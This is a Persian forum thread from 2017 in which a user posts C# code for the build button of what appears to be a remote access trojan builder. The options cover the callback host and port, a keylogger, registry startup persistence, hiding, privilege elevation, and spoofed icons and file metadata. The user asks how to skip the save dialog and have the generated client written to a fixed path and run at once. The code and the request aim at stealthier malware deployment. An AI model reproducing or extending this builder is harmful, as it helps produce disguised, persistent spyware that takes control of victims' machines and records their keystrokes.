PDA

View Full Version : ایجاد فایل و اجرای مستقیم



rooterror
جمعه 29 اردیبهشت 1396, 19:15 عصر
سلام دوستان من یه برنامه دارم

بهش یه سری اطلاعات میدی اونارو تو فایل exe تو مسیر دلخواه ذخیره میکنه


حالا من میخوام اصلا سوالی نپرسه که تو چه مسیری ذخیره بشه فقط وقتی زدم رو کلید ساختن بره تو یه مسیره که تعریف کردم ساخته بشه

بعد وقتی ساخته شد تو اون مسیره اجرا بشه


میشه کمک کنید ؟

samiasoft
جمعه 29 اردیبهشت 1396, 22:09 عصر
درود

دستوراتی که نوشتید رو قرار بدید...توضیحاتی که دادید مبهم هست

rooterror
جمعه 29 اردیبهشت 1396, 22:31 عصر
private void btnBuild_Click(object sender, EventArgs e)
{
if (!string.IsNullOrEmpty(txtHost.Text) && !string.IsNullOrEmpty(txtPort.Text) &&
!string.IsNullOrEmpty(txtDelay.Text) && // Connection Information
!string.IsNullOrEmpty(txtPassword.Text) && !string.IsNullOrEmpty(txtMutex.Text) && // Client Options
!chkInstall.Checked ||
(chkInstall.Checked && !string.IsNullOrEmpty(txtInstallname.Text) &&
!string.IsNullOrEmpty(txtInstallsub.Text)) && // Installation Options
!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrEmpty(txtRegistryKeyName.Text)))
// Persistence and Registry Features
{
string output = string.Empty;
string icon = string.Empty;

if (chkIconChange.Checked)
{
using (OpenFileDialog ofd = new OpenFileDialog())
{
ofd.Filter = "Icons *.ico|*.ico";
ofd.Multiselect = false;
if (ofd.ShowDialog() == DialogResult.OK)
icon = ofd.FileName;
}
}

using (SaveFileDialog sfd = new SaveFileDialog())
{
sfd.Filter = "EXE Files *.exe|*.exe";
sfd.RestoreDirectory = true;
sfd.FileName = "Client-built.exe";
if (sfd.ShowDialog() == DialogResult.OK)
output = sfd.FileName;
}

if (!string.IsNullOrEmpty(output) && (!chkIconChange.Checked || !string.IsNullOrEmpty(icon)))
{
try
{
string[] asmInfo = null;
if (chkChangeAsmInfo.Checked)
{
if (!IsValidVersionNumber(txtProductVersion.Text) ||
!IsValidVersionNumber(txtFileVersion.Text))
{
MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Builder",
MessageBoxButtons.OK, MessageBoxIcon.Information);
return;
}

asmInfo = new string[8];
asmInfo[0] = txtProductName.Text;
asmInfo[1] = txtDescription.Text;
asmInfo[2] = txtCompanyName.Text;
asmInfo[3] = txtCopyright.Text;
asmInfo[4] = txtTrademarks.Text;
asmInfo[5] = txtOriginalFilename.Text;
asmInfo[6] = txtProductVersion.Text;
asmInfo[7] = txtFileVersion.Text;
}

ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text,
txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked,
chkStartup.Checked, chkHide.Checked, chkKeylogger.Checked, int.Parse(txtPort.Text),
int.Parse(txtDelay.Text),
GetInstallPath(), chkElevation.Checked, icon, asmInfo, Application.ProductVersion);

MessageBox.Show("Successfully built client!", "Success", MessageBoxButtons.OK,
MessageBoxIcon.Information);
}
catch (FileLoadException)
{
MessageBox.Show("Unable to load the Client Assembly Information.\nPlease re-build the Client.",
"Error loading Client", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
catch (Exception ex)
{
MessageBox.Show(
string.Format("An error occurred!\n\nError Message: {0}\nStack Trace:\n{1}", ex.Message,
ex.StackTrace), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
}
else
MessageBox.Show("Please fill out all required fields!", "Builder", MessageBoxButtons.OK,
MessageBoxIcon.Information);
}


این کدها هست که باعث ایجاد فایل EXE میشه

میخوام بدون اینکه پنجره ای SaveFileDialog باز بشه بره تو یه مسیری که مشخص میکنم ذخیره بشه